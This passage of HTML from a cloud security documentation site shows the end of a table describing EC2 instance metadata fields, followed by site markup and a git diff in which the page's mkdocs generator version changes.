<td>instance-id</td> <td>The ID of this instance.</td> </tr> <tr> <td>local-hostname</td> <td>The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).</td> </tr> <tr> <td>local-ipv4</td> <td>The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0).</td> </tr> <tr> <td>public-hostname</td> <td>The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true.</td> </tr> <tr> <td>public-ipv4</td> <td>The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address.</td> </tr> <tr> <td>public-keys/0/openssh-key</td> <td>Public key. Only available if supplied at instance launch time.</td> </tr> <tr> <td>security-groups</td> <td>The names of the security groups applied to the instance.</td> </tr> </tbody> </table> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 20, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
diff --git a/aws/general-knowledge/introduction_user_data/index.html b/aws/general-knowledge/introduction_user_data/index.html
index c363b3650..055c4b58b 100644
--- a/aws/general-knowledge/introduction_user_data/index.html
+++ b/aws/general-knowledge/introduction_user_data/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An introduction to EC2 User Data and how to access it."><link href=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ rel=canonical><link href=../intro_metadata_service/ rel=prev><link href=../using_stolen_iam_credentials/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Introduction to User Data - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Introduction to User Data - Hacking The Cloud"><meta property=og:description content="An introduction to EC2 User Data and how to access it."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Introduction to User Data - Hacking The Cloud"><meta property=twitter:description content="An introduction to EC2 User Data and how to access it."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An introduction to EC2 User Data and how to access it."><link href=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ rel=canonical><link href=../intro_metadata_service/ rel=prev><link href=../using_stolen_iam_credentials/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Introduction to User Data - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Introduction to User Data - Hacking The Cloud"><meta property=og:description content="An introduction to EC2 User Data and how to access it."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Introduction to User Data - Hacking The Cloud"><meta property=twitter:description content="An introduction to EC2 User Data and how to access it."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#how-to-access-ec2-user-data class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Introduction to User Data </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 